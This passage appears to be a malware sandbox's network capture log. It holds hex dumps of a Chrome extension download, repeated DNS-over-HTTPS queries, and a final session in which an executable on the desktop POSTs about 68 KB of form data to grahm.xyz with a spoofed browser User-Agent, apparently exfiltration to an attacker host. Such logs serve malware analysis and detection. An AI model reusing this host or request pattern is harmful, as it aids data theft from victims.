2024-12-12 15:47:07 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC4IQxV4q3j7O5WaAop-zN-nbICjYs5JCDxYQQTJdLHwfq1yHey8LncGkDjHls6iyR7xt5E X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Wed, 11 Dec 2024 16:45:00 GMT Expires: Thu, 11 Dec 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 82927 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-12 15:47:07 UTC	824	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-12-12 15:47:07 UTC	1390	IN	Data Raw: 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c 7c a7 3d 83 9c c3 33 Data Ascii: :__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\\|=3
2024-12-12 15:47:07 UTC	1390	IN	Data Raw: 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc 55 5e 3d b8 46 34 c8 Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FSU^=F4
2024-12-12 15:47:07 UTC	1390	IN	Data Raw: 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 ce c6 ac 26 ca 94 9e Data Ascii: }oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~&
2024-12-12 15:47:07 UTC	1390	IN	Data Raw: ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 af 7f ff d5 d4 85 ac Data Ascii: c$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-12-12 15:47:07 UTC	1390	IN	Data Raw: c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 e2 00 5a c4 bf e3 99 Data Ascii: C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8QZ
2024-12-12 15:47:07 UTC	1390	IN	Data Raw: 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 b4 28 e5 ea ff 64 31 Data Ascii: n=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@(d1
2024-12-12 15:47:07 UTC	1390	IN	Data Raw: 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 16 96 fa 98 fd 47 dc Data Ascii: cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6G
2024-12-12 15:47:07 UTC	1390	IN	Data Raw: 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 73 61 67 65 73 2e 6a Data Ascii: o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/messages.j
2024-12-12 15:47:07 UTC	1390	IN	Data Raw: 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 Data Ascii: Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	49784	172.64.41.3	443	7440	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:47:08 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-12 15:47:08 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-12 15:47:08 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 12 Dec 2024 15:47:08 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f0ed9e9bf4e7ca8-EWR alt-svc: h3=":443"; ma=86400
2024-12-12 15:47:08 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1a 00 04 8e fa 50 23 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomP#)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	49790	172.64.41.3	443	7440	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:47:08 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-12 15:47:08 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-12 15:47:08 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 12 Dec 2024 15:47:08 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f0ed9e9bd4e428b-EWR alt-svc: h3=":443"; ma=86400
2024-12-12 15:47:08 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 29 00 04 8e fa 41 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)A)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	49794	162.159.61.3	443	7440	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:47:08 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-12 15:47:08 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-12 15:47:08 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 12 Dec 2024 15:47:08 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f0ed9e9c8cc43c9-EWR alt-svc: h3=":443"; ma=86400
2024-12-12 15:47:08 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 28 00 04 8e fa 50 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom(PC)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.8	49797	162.159.61.3	443	7440	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:47:08 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-12 15:47:08 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-12 15:47:08 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 12 Dec 2024 15:47:08 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f0ed9eb3b4943e6-EWR alt-svc: h3=":443"; ma=86400
2024-12-12 15:47:08 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 28 00 04 8e fa 41 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom(A)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.8	49798	172.64.41.3	443	7440	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:47:08 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-12 15:47:08 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.8	49799	172.64.41.3	443	7440	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:47:08 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-12 15:47:08 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-12-12 15:47:08 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 12 Dec 2024 15:47:08 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8f0ed9ebbb360f77-EWR alt-svc: h3=":443"; ma=86400
2024-12-12 15:47:08 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 0c 00 04 8e fa 50 03 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomP)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.8	49796	116.203.10.31	443	3976	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 15:47:08 UTC	323	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----4EK6XT2N7YCBAIEK6XT0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: grahm.xyz Content-Length: 68733 Connection: Keep-Alive Cache-Control: no-cache
